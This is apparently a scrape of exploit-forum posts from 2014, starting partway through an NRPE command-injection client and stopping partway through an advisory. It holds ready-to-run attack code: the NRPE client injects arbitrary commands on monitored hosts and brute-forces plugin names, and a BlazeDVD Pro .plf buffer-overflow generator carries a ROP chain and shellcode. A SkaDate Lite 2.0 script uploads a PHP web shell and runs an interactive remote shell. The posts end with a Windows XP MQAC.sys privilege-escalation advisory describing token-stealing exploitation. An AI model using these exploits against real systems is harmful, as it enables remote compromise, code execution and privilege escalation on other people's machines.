             0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
             0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3,
             0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
             0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a,
             0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5,
             0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010,
             0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
             0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17,
             0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6,
             0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615,
             0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
             0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344,
             0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
             0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a,
             0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
             0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1,
             0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c,
             0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef,
             0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
             0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe,
             0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31,
             0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c,
             0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
             0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b,
             0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
             0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1,
             0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
             0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278,
             0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7,
             0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66,
             0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
             0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605,
             0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8,
             0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b,
             0x2d02ef8d)

    def __str__(self):
        # Turn whatever string data we have into a null terminated string
        if len(self.sData) < MAX_PACKETBUFFER_LENGTH:
            sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData))
            sData += "SR" # not sure about this, from perl
        elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2:
            sData = self.sData
        else:
            raise ValueError("CHECK_NRPE: invalid input")
        # Return a string that equals the C struct, not something printable
        return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion,
            self.nPacketType, self.nCRC32, self.nResultCode, sData)

    def __len__(self):
        return len(self.__str__())

    def dumpself(self):
        """Debugging output for self as C structure.

        Not normally used."""
        sElf = self.__str__()
        sPrev = sElf[0:1]
        nCount = 0
        ii = -1
        for sChar in sElf[1:]:
            ii += 1
            if sChar == sPrev:
                nCount += 1
                continue
            if nCount:
                print "%d\t%d *" % (ii - nCount, nCount + 1),
                nCount = 0
            else:
                print "%d\t" % ii,
            print "\t'%s' (%d)" % (sPrev, ord(sPrev))
            sPrev = sChar
        print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev))

    def calculate_crc32(self):
        """Calculate the CRC32 value for the string version of self."""
        nCRC = 0xFFFFFFFF
        for ii in self.__str__():
            nIndex = (nCRC ^ ord(ii)) & 0xFF
            nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex]
        self.nCRC32 = nCRC ^ 0xFFFFFFFF
        #debug("DataPacket.calculate_crc32 = %d" % self.nCRC32)

    def extract(self, sQuery):
        """Turn a string into the DataPacket attributes."""
        #debug("DataPacket.extract(%d)" % len(sQuery))
        tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery)
        self.nPacketVersion = tVals[0]
        self.nPacketType = tVals[1]
        self.nCRC32 = tVals[2]
        self.nResultCode = tVals[3]
        self.sData = tVals[4]

m_nTimeout = 0
def alarm_handler(nSignum, oFrame):
    """Timeout catcher"""
    raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." %
        m_nTimeout)


class NrpeClient(DataPacket):
    """Everything needed to send a message to an NRPE server and get data back.
    """
    def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10,
                 packet_version=NRPE_PACKET_VERSION_2):
        DataPacket.__init__(self, packet_version, QUERY_PACKET)
        self.sServer = server_name
        self.nPort = server_port
        self.bUseSSL = use_ssl
        self.nTimeout = timeout

    def run_query(self, sQuery):
        """Connect to the NRPE server, send the query and get back data.
        """
        # initialize alarm signal handling and set timeout
        signal.signal(signal.SIGALRM, alarm_handler)
        signal.alarm(self.nTimeout)

        # try to connect to the host at the given port number
        oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # do SSL handshake
        if self.bUseSSL:
            oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)
            oContext.set_cipher_list('ADH')
            oConnection = OpenSSL.SSL.Connection(oContext, oSocket)
        else:
            oConnection = oSocket

        oConnection.connect((self.sServer, self.nPort))

        # we're connected and ready to go
        self.sData = sQuery
        self.nCRC32 = 0
        self.calculate_crc32()

        # send the packet
        oConnection.send(str(self))

        # wait for the response packet
        sRval = oConnection.recv(len(self))

        # close the connection
        if self.bUseSSL and not oConnection.shutdown():
            try:
                sRval += oConnection.recv(len(self))
            except OpenSSL.SSL.ZeroReturnError:
                pass
        oSocket.close()
        del oSocket, oConnection
        if self.bUseSSL:
            del oContext

        # reset timeout
        signal.alarm(0)

        if len(sRval) == 0:
            raise IOError("CHECK_NRPE: Received 0 bytes from daemon." +
                "Check the remote server logs for error messages.")
        elif len(sRval) < len(self):
            raise IOError("CHECK_NRPE: Receive underflow - only " +
                "%d bytes received (%d expected)." % (len(sRval), len(self)))

        # Become the received data
        self.extract(sRval)

        # check the crc 32 value
        nRvalCRC = self.nCRC32
        self.nCRC32 = 0
        self.calculate_crc32()
        if nRvalCRC != self.nCRC32:
            raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.")

        # check packet version
        if self.nPacketVersion != NRPE_PACKET_VERSION_2:
            raise ValueError("CHECK_NRPE: Invalid packet version received from server.")

        # check packet type
        if self.nPacketType != RESPONSE_PACKET:
            raise ValueError("CHECK_NRPE: Invalid packet type received from server.")

        # Turn the input data into a proper python string (chop at first NULL)
        for ii in range(len(self.sData)):
            if self.sData[ii] == "\0":
                break
        self.sData = self.sData[0:ii]


if __name__ == '__main__':
    m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]")
    m_oOpts.add_option('--host', '-H', action='store', type='string',
        help='The address of the host running the NRPE daemon (required)')
    m_oOpts.add_option('--ssl', '-n', action='store_false', default=True,
        help='Do no use SSL')
    m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666,
        help='The port on which the daemon is running (default=5666)')
    m_oOpts.add_option('--timeout', '-t', action='store', type='int',
        default=10,
        help='Number of seconds before connection times out (default=10)')
    m_oOpts.add_option('--command', '-c', action='store', type='string',
        #default='get_data',
        help='The name of nrpe command')
    m_oOpts.add_option('--brute', '-b', action='store_true', default=False,
        help='Find existing nrpe command from list [ -list ]')
    m_oOpts.add_option('--list', action='store_true',  default=False,
        help='Show NRPE Command list')
    m_oOpts.add_option('--cmd', action='store', type='string',
        help='Command to execute on the remote server')

    m_oOptions, m_lArgs = m_oOpts.parse_args()
    m_nTimeout = m_oOptions.timeout
    m_sQuery = m_oOptions.command
    m_gList = m_oOptions.list
    m_sBrute = m_oOptions.brute

    print (banner)

    if m_gList:
        print('[+] NRPE Command list\n')
        for LinesPluginList in PluginList:
            print(LinesPluginList)
        sys.exit(0)
    elif m_sQuery and m_sBrute:
        print m_oOpts.format_help()
        print('[!]')
        print('[!] ERROR: Select only -c OR -b option\n')
        sys.exit(0)
    elif not m_oOptions.host or not m_oOptions.cmd:
        print m_oOpts.format_help()
        sys.exit(0)

    print('[+] Target: '+m_oOptions.host)
    print('[+] Command: '+m_oOptions.cmd+' \n')

    if m_sBrute:
        print('[+] Brute force Mode....')
        print('[+]')
        for LinesPluginList in PluginList:

                m_CommandQuery = ""
                m_CommandQuery += ' ' + m_oOptions.cmd
                if m_lArgs:
                        m_CommandQuery += ' ' + ' '.join(m_lArgs)

                m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #'


                m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
                        m_oOptions.timeout)
                try:
                        m_oNRPE.run_query(m_sQuery)
                except socket.error:
                        print('[!] Connection Error!')
                        sys.exit(1)
                except OpenSSL.SSL.ZeroReturnError:
                        print('[!] Not Vulnerable')
                        print('[!] Option dont_blame_nrpe disabled or service fixed')
                        sys.exit(1)

                if m_oNRPE.sData[-11:] == "not defined":
                        print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found')
                else:
                        print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!')
                        print('[+]')
                        print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
                        print('[+]')
                        print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
                        print('[+]')
                        print(m_oNRPE.sData)
                        sys.exit(0)
    elif m_sQuery:
        print('[+] Custom command Mode....')
        print('[+]')
        print('[+] Connecting......')

        m_CommandQuery = ""
        m_CommandQuery += ' ' + m_oOptions.cmd
        if m_lArgs:
                m_CommandQuery += ' ' + ' '.join(m_lArgs)

        m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #'

        m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
                m_oOptions.timeout)
        try:
               m_oNRPE.run_query(m_sQuery)
        except KeyboardInterrupt:
                print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout)
                sys.exit(1)
        except socket.error:
                print('[!] Connection Error!')
                sys.exit(1)
        except OpenSSL.SSL.ZeroReturnError:
                print('[!] Not Vulnerable')
                print('[!] Option dont_blame_nrpe disabled or service fixed')
                sys.exit(1)

        if m_oNRPE.sData[-11:] == "not defined":
                print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command')
        else:
                print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!')
                print('[+]')
                print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
                print('[+]')
                print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
                print('[+]')
                print(m_oNRPE.sData)
                sys.exit(0)
BlazeDVD Pro 7.0 - (.plf)
ID: 67686ba3b4103b69df379d40
Thread ID: 25353
Created: 2014-08-14T03:58:33+0000
Last Post: 2014-08-14T03:58:33+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

BlazeDVD Pro v7.0 - (.plf) Stack Based Buffer Overflow (direct RET) -

ALSR/DEP bypass on Win8.1 Pro

Date: Mon, Aug 11 2014 12:58:06 GMT

Exploit Author: Giovanni Bartolomucci

Vendor Homepage: http://www.blazevideo.com/

Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe

Version: 7.0.0.0

Tested on: Windows 8.1 Pro

h/t to corelanc0d3r and b33f for their tutorials

Code:Copy to clipboard

#!/usr/bin/python

import sys, struct

file = "calc.plf"

junk1   = "\x41"*260
neweip  = "\x5b\x51\x32\x60"
junk2   = "\x41"*24

rop =  "\x41\x47\x32\x60" # POP EBP # RETN [Configuration.dll]
rop += "\xb5\x59\x33\x60" # &(PUSH ESP # RET 0x0C) [Configuration.dll]
rop += "\xf6\x07\x33\x60" # POP EAX # RET [Configuration.dll]
rop += "\x91\x11\x11\x11" # Value to be subtracted, will become

0x000000080 rop += "\x39\x03\x33\x60" # POP ECX # RETN [Configuration.dll] rop += "\x11\x11\x11\x11" # Value to subtract rop += "\xda\x6d\x32\x60" # SUB EAX,ECX # RETN [Configuration.dll] rop += "\x7d\x41\x32\x60" # XCHG EAX,EBX # XOR AL,60 # RETN [Configuration.dll] rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\x47\x98\x31\x60" # Junk R address rop += "\x47\x98\x31\x60" # POP EDX # ADD AL,BYTE PTR ES:[EAX] # NOP # NOP # NOP # NOP # NOP # MOV EAX,Configur.60346A70 # RETN [Configuration.dll] rop += "\x51\x11\x11\x11" # Value to be subtracted, will become 0x000000040 rop += "\xf6\x07\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\x11\x11\x11\x11" # Value to subtract rop += "\x78\x8b\x30\x60" # SUB EDX,EAX # XOR EAX,EAX # CMP ECX,EDX # SETG AL # RETN 0x04 [Configuration.dll] rop += "\x8c\xf0\x33\x60" # POP ECX # RETN [Configuration.dll] rop += "\x41\x41\x41\x41" # Junk rop += "\x0b\x17\x36\x60" # & Writable location [Configuration.dll] rop += "\xee\x78\x32\x60" # POP EDI # RETN [Configuration.dll] rop += "\x09\x48\x32\x60" # RETN (ROP NOP) [Configuration.dll] rop += "\x65\x08\x33\x60" # POP EAX # RETN [Configuration.dll] rop += "\xcc\x42\x05\x64" # ptr to &VirtualProtect() [IAT MediaPlayerCtrl.dll] rop += "\xed\xd6\x33\x60" # MOV ESI,DWORD PTR DS:[EAX] # RETN [Configuration.dll] rop += "\xa2\x92\x32\x60" # POP EAX # RETN [Configuration.dll] rop += "\x90\x90\x90\x90" # NOP rop += "\x28\xc3\x33\x60" # PUSHAD # RETN [Configuration.dll]

shellcode = ("\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63"
             "\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
             "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
             "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78"
             "\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
             "\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E"
             "\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
             "\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC")

exploit = junk1 + neweip + junk2 + rop + shellcode

writeFile = open(file, "w")
writeFile.write(exploit)
writeFile.close()

19F1FFC3847A1E83 1337day.com [2014-08-14] 21BCF6014845201B

Click to expand...

SkaDate Lite 2.0 Remote Code Execution
ID: 67686ba3b4103b69df379d41
Thread ID: 25320
Created: 2014-08-01T03:52:09+0000
Last Post: 2014-08-01T03:52:09+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

SkaDate Lite version 2.0 suffers from an authenticated arbitrary PHP code execution vulnerability. This is caused due to the improper verification of uploaded files in '/admin/settings/user' script thru the 'avatar' and 'bigAvatar' POST parameters. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file with '.php5' extension (to bypass the '.htaccess' block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/' directory.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/env python
#
#
# SkaDate Lite 2.0 Remote Code Execution Exploit
#
#
# Vendor: Skalfa LLC
# Product web page: http://lite.skadate.com | http://www.skalfa.com
# Affected version: 2.0 (build 7651) [Platform version: 1.7.0 (build 7906)]
#
# Summary: SkaDate Lite is a new platform that makes it easy to
# start online dating business in just a few easy steps. No
# programming or design knowledge is required. Install the solution,
# pick a template, and start driving traffic to your new online
# dating site.
#
# Desc: SkaDate Lite suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper
# verification of uploaded files in '/admin/settings/user' script
# thru the 'avatar' and 'bigAvatar' POST parameters. This can be
# exploited to execute arbitrary PHP code by uploading a malicious
# PHP script file with '.php5' extension (to bypass the '.htaccess'
# block rule) that will be stored in '/ow_userfiles/plugins/base/avatars/'
# directory.
#
# Tested on: CentOS Linux 6.5 (Final)
#           nginx/1.6.0
#            PHP/5.3.28
#            MySQL 5.5.37
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2014-5198
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5198.php
#
#
# 23.07.2014
#
#

version = '4.0.0.251'

import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re

from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError

init()

if os.name == 'posix': os.system('clear')
if os.name == 'nt': os.system('cls')
piton = os.path.basename(sys.argv[0])

def bannerche():
  print '''
 @---------------------------------------------------------------@
 |                                                               |
 |         SkaDate Lite 2.0 Remote Code Execution Exploit        |
 |                                                               |
 |                                                               |
 |                       ID: ZSL-2014-5198                       |
 |                                                               |
 |              Copyleft (c) 2014, Zero Science Lab              |
 |                                                               |
 @---------------------------------------------------------------@
          '''
  if len(sys.argv) < 2:
    print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname>\n'
    print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk\n'
    sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:
  opener.open('http://'+host+'/sign-in?back-uri=admin')
except urllib2.HTTPError, errorzio:
  if errorzio.code == 404:
    print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
    print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET
    print
    sys.exit()
except URLError, errorziocvaj:
  if errorziocvaj.reason:
    print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
    print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET
    print
    sys.exit()

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')

login_data = urllib.urlencode({
              'form_name' : 'sign-in',
              'identity' : username,
              'password' : password,
              'remember' : 'on',
              'submit' : 'Sign In'
              })

try:
  login = opener.open('http://'+host+'/sign-in?back-uri=admin', login_data)
  auth = login.read()
except urllib2.HTTPError, errorziotraj:
  if errorziotraj.code == 403:
    print '\x20\x20[*] '+Fore.RED+'Blocked by WAF.'+Fore.RESET
    print
    sys.exit()

for session in cj:
  sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

if re.search(r'Invalid username or email', auth):
  print '\x20\x20[*] Invalid username or email given '+'.'*23+Fore.RED+'[ER]'+Fore.RESET
  print
  sys.exit()
elif re.search(r'Invalid password', auth):
  print '\x20\x20[*] Invalid password '+'.'*38+Fore.RED+'[ER]'+Fore.RESET
  sys.exit()
else:
  print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET


class MultiPartForm(object):

    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = mimetools.choose_boundary()
        return
    
    def get_content_type(self):
        return 'multipart/form-data; boundary=%s' % self.boundary

    def add_field(self, name, value):
        self.form_fields.append((name, value))
        return

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))
        return
    
    def __str__(self):

        parts = []
        part_boundary = '--' + self.boundary
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: form-data; name="%s"' % name,
              '',
              value,
            ]
            for name, value in self.form_fields
            )
        
        parts.extend(
            [ part_boundary,
              'Content-Disposition: file; name="%s"; filename="%s"' % \
                 (field_name, filename),
              'Content-Type: %s' % content_type,
              '',
              body,
            ]
            for field_name, filename, content_type, body in self.files
            )
        
        flattened = list(itertools.chain(*parts))
        flattened.append('--' + self.boundary + '--')
        flattened.append('')
        return '\r\n'.join(flattened)

if __name__ == '__main__':

    form = MultiPartForm()
    form.add_field('form_name', 'userSettingsForm')
    form.add_field('displayName', 'realname')
    form.add_field('confirmEmail', 'on')
    form.add_field('avatarSize', '90')
    form.add_field('bigAvatarSize', '190')
    form.add_field('avatar', '')
    form.add_field('join_display_photo_upload', 'display')
    form.add_field('save', 'Save')
    
    form.add_file('bigAvatar', 'thricerbd.php5', 
                  fileHandle=StringIO('<?php system(\'echo \"<?php echo \\"<pre>\\"; passthru(\$_GET[\\\'cmd\\\']); echo \\"</pre>\\"; ?>\" > liwo.php5\'); ?>'))

    request = urllib2.Request('http://'+host+'/admin/settings/user')
    request.add_header('User-agent', 'joxypoxy 4.0')
    body = str(form)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()
    print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
    checkfilename = urllib2.urlopen(request).read()
    filename = re.search('default_avatar_big_(\w+)', checkfilename).group(1)
    print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET
    print '\x20\x20[*] File name: '+Fore.YELLOW+'default_avatar_big_'+filename+'.php5'+Fore.RESET

opener.open('http://'+host+'/ow_userfiles/plugins/base/avatars/default_avatar_big_'+filename+'.php5')
print '\x20\x20[*] Persisting file liwo.php5 '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET

print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET
time.sleep(1)

furl = '/ow_userfiles/plugins/base/avatars/liwo.php5'

print
today = datetime.date.today()
fname = 'skadate-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'
logging.basicConfig(filename=fname,level=logging.DEBUG)

logging.info(' '+'+'*75)
logging.info(' +')
logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))
logging.info(' + Title: SkaDate Lite 2.0 Remote Code Execution Exploit')
logging.info(' + Python program executed: '+sys.argv[0])
logging.info(' + Version: '+version)
logging.info(' + Full query: \''+piton+'\x20'+host+'\'')
logging.info(' + Username input: '+username)
logging.info(' + Password input: '+password)
logging.info(' + Vector: '+'http://'+host+furl)
logging.info(' +')
logging.info(' + Advisory ID: ZSL-2014-5198')
logging.info(' + Zero Science Lab - http://www.zeroscience.mk')
logging.info(' +')
logging.info(' '+'+'*75+'\n')

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET
raw_input()
while True:
  try:
    cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)
    execute = opener.open('http://'+host+furl+'?cmd='+urllib.quote(cmd))
    reverse = execute.read()
    pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)

    print Style.BRIGHT+Fore.CYAN
    cmdout = pattern.match(reverse)
    print cmdout.groups()[0].strip()
    print Style.RESET_ALL+Fore.RESET

    if cmd.strip() == 'exit':
      break

    logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')
  except Exception:
    break

logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')
print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET
print

sys.exit()
Microsoft XP SP3 MQAC.sys
ID: 67686ba3b4103b69df379d42
Thread ID: 25318
Created: 2014-07-31T03:47:43+0000
Last Post: 2014-07-31T03:47:43+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
Publication Date: 2014.07.18
Publication URL: https://www.korelogic.com/Resources/Advisor...01-2014-003.txt

1. Vulnerability Details

Affected Vendor: Microsoft
Affected Product: MQ Access Control
Affected Versions: 5.1.0.1110
Platform: Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where Condition
Impact: Privilege Escalation
Attack vector: IOCTL
CVE ID: CVE-2014-4971

2. Vulnerability Description

A vulnerability within the MQAC module allows an attacker to
inject memory they control into an arbitrary location they
define. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently
calling NtQueryIntervalProfile.

3. Technical Description

A userland process can create a handle into the MQAC device and
subsequently make DeviceIoControlFile() calls into that device.
During the IRP handler routine for 0x1965020f the user provided
OutputBuffer address is not validated. This allows an attacker
to specify an arbitrary address and write (or overwrite) the
memory residing at the specified address. This is classically
known as a write-what-where vulnerability and has well known
exploitation methods associated with it.

A stack trace from our fuzzing can be seen below. In our
fuzzing testcase, the specified OutputBuffer in the
DeviceIoControlFile() call is 0xffff0000.

STACK_TEXT:
b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'
command shows the fault originating in the mqac driver.

OLLOWUP_IP:
mqac!AC2QM+5d
b230af37 891e mov dword ptr [esi],ebx

Reviewing the TRAP_FRAME at the time of crash we can see
IopCompleteRequest() copying data from InputBuffer into the
OutputBuffer. InputBuffer is another parameter provided to the
DeviceIoControlFile() function and is therefore controllable by
the attacker. The edi register contains the invalid address
provided during the fuzz testcase.

TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4)
ErrCode = 00000002
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
mqac!AC2QM+0x5d:
b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=????????

A write-what-where vulnerability can be leveraged to obtain
escalated privileges. To do so, an attacker will need to
allocate memory in userland that is populated with shellcode
designed to find the Token for PID 4 (System) and then overwrite
the token for its own process. By leveraging the vulnerability
in MQAC it is then possible to overwrite the pointer at
HalDispatchTable+0x4 with a pointer to our shellcode. Calling
NtQueryIntervalProfile() will subsequently call
HalDispatchTable+0x4, execute our shellcode, and elevate the
privilege of the exploit process.

4. Mitigation and Remediation Recommendation

None. A patch is not likely to be forthcoming from the vendor.

5. Credit

This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.

6. Disclosure Timeline

2014.04.28 - Initial contact; sent Microsoft report and PoC.
2014.04.28 - Microsoft acknowledges receipt of vulnerability
report; states XP is no longer supported and asks if
the vulnerability affects other versions of Windows.
2014.04.29 - KoreLogic asks Microsoft for clarification of their
support policy for XP.
2014.04.29 - Microsoft says XP-only vulnerabilities will not be
addressed with patches.
2014.04.29 - KoreLogic asks if Microsoft intends to address the
vulnerability report.
2014.04.29 - Microsoft opens case to investigate the impact of the
vulnerability on non-XP systems.
2014.05.06 - Microsoft asks again if this vulnerability affects
non-XP systems.
2014.05.14 - KoreLogic informs Microsoft that the vulnerability
report is for XP and other Windows versions have
not been examined.
2014.06.11 - KoreLogic informs Microsoft that 30 business days
